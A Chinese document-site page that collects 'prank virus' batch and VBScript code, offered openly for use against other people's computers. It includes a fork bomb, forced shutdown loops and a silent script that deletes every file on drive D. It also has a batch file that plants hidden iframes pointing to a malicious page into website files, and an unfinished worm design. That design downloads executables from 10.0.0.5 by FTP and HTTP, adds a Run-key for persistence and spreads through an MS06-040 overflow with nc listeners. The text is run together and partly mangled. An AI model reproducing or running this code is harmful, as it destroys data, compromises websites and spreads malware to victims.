三一文库（）〔bat整人电脑病毒代码是怎样的〕*篇一：一些bat恶搞代码第一个:让别人内存OVER(逼他重启)@echooffstartcmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echooffifnotexistc:\1.txtecho.c:\1.txtgotoerr1 ifnotexistc:\2.txtecho.c:\2.txtgotoerr1 ifnotexistc:\3.txtecho.c:\3.txtgotoerr1 ifnotexistc:\4.txtecho.c:\4.txtgotoerr1 ifnotexistc:\5.txtecho.c:\5.txtgotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echoofflogoff1dellog.batlogoff后面的1改成自己登陆的ID号,用queryuser查看第四个:批量自动溢出@for/f%%iin(result.txt)do42%%i58.44.89.158521先自己用NC监听端口,多开几个,然后指行,就自动溢出了第五个:自动挂马改主页@echooffclsrem直接打批处理名字就有帮助title批量挂马,改首页(伤脑筋QQ:447228437).colorAsetpan=%1setye=%2setdai=%3if"%pan%"==""gotoe1if"%ye%"==""gotoe1if"%dai%"==""gotoe1if"%dai%"=="htm.txt"gotou1forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEecho^ iframesrc=":%dai%"width="0"height="0"frameborder="0 "^@path"echo.echo代码全部插入完毕echo.pausegotoe1:u1echo您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.echo这将是非常危险的,您真的要这样做?回车却认,Ctrl+c取消操作.pauseforfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEcopy% 1\htm.txt@path/y"echo.echo首页全部更改完必如果您发现没有替换成功,请将%ye%文件只读属性去掉.echo.pause:e1echo.echo本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下echo用法:snj^搜索盘符^^文件名^^网马地址^echo例子:snjd:\index.asp/mm.htmecho批处理将自动添加^iframe^标记echo.echo如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.echo然后将要更改的代码加COPY到里面保存.然后将命令的^网马地址^项输入为htm.txt即可.echo例子:snjd:\index.asphtm.txtecho.echo为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.echo.echo使用此批处理造成一切后果本人概不负责,请大家谨慎使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完delc:\42.exedelc:\nc.exedelc:\ip.exeechodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbsechodimwsh%systemroot%\help\test2.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test2.vbsechowsh.run"cmd/cstart%systemroot%\help\good.bat",0%systemroot%\help\test2.vbsechoopen10.0.0.5%systemroot%\help\ftp.txt echoopenmyyes%systemroot%\help\ftp.txtecho1%systemroot%\help\ftp.txtechobinary%systemroot%\help\ftp.txtechoget42.exec:\42.exe%systemroot%\help\ftp.txt echogetnc.exec:\nc.exe%systemroot%\help\ftp.txt echogetip.exec:\ip.exe%systemroot%\help\ftp.txt echobye%systemroot%\help\ftp.txtechoechoSetxPost=CreateObject("Microsoft.XMLHTTP") ^1.vbs%systemroot%\help\or.txtechoechoxPost.Open"GET",":10.0.0.5/my.exequo...,0 ^^1.vbs%systemroot%\help\or.txtechoechoxPost.Send()^^1.vbs%systemroot%\help\or.txt echoechoSetsGet=CreateObject("ADODB.Stream")^^1.vbs%systemroot%\help\or.txtechoechosGet.Mode=3^^1.vbs%systemroot%\help\or.txte choechosGet.Type=1^^1.vbs%systemroot%\help\or.txtec hoechosGet.Write(xPost.responseBody)^^1.vbs%systemroot%\help\or.txtechoechosGet.SaveToFile"d:\my.exe",2^^1.vbs%systemroot%\help\or.txtechoecho1.vbs^^1.vbs%systemroot%\help\or.txtechoechomy.exe^^1.vbs%systemroot%\help\or.txtechoWindowsRegistryEditorVersion5.00%systemroot%\he lp\1.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]%systemroot%\help\1.regecho"SKYNETPersonalFireWall"="F:\\系统安全工具\\FireWall\\PFW.exe"%systemroot%\help\1.regecho"1"="%systemroot%\\help\\test2.vbs"%systemroot% \help\1.regifnotexist%systemroot%\help\good.batcopygood.bat%systemroot%\help\good.bat%systemroot%\help \test2.vbsdelgood.batregedit-s%systemroot%\help\1.regftp-s:%systemroot%\help\ftp.txtmovec:\nc.exe%systemroot%\help\/ymovec:\42.exe%systemroot%\help\/ymovec:\ip.exe%systemroot%\help\/y%systemroot%\help\test.vbsremfor/f%%iin(result1.txt)doseta=%%iremfor/f%%jin(result.txt)do42%a%%%j810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTP空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.思路:用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功,如果成功开启一个NC监听端口,NC后面带一个输入符号输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbs生成随机IP工具的VB代码PrivateSubForm_Load()DimfsoAsNewFileSystemObjectDima,b,c,dAsIntegerDimph,eAsStringph=App.Path"\""ip.txt"Randomizea=Int(253*Rnd+1)b=Int(253*Rnd+1)c=Int(240*Rnd+1)OpenphForOutputAs#1Fori=cToc+7Forj=1To254e=a"."b"."i"."jPrint#1,eDoEventsNextjNextiClose#1UnloadMeEndSub*篇二：整人“病毒”代码(一)发表于2013-10-2310:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

愚人节网页整人方法

愚人节网页整人方法
方法介绍： 1 单击“开始”菜单，单击“运行”，在打开框中输入“gpedit.msc”，启动组策略程序
步骤阅读 2 在左侧窗口中依次点击“计算机配置”——“Windows 设置”——“安全设置”——“本地策略”——“安全选项”
步骤阅读 3 在左侧界面找到“交互式登录:用户试图登陆时标题”项目，双击打开
步骤阅读 4 在本地安全设置窗口下的输入框中键入标题的说明，我这里设置为“Windows 发生致命性错误”，单击“确定”
步骤阅读 5 然后返回到刚才的策略界面，找到并双击打开“交互式登录:用户试图登陆时的消息文字”项目
步骤阅读 6 在本地策略设置窗口下的输入框中键入用户登录时向其显示的文本消息，我这里设置为“您好!您的系统遭到黑客攻击，现已崩溃，请重新启动计算机后使用Windows光盘重新安装系统”，单击“确定”
步骤阅读7 现在重新启动计算机，在登录系统界面时就会看到弹出以上提示的对话框，不明真相的人肯定会吓了一跳，有木有呢?哈哈~~
感谢您的阅读，祝您生活愉快。

VB整人程序代码大全

VB整人程序代码大全vbs整人代码大**一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。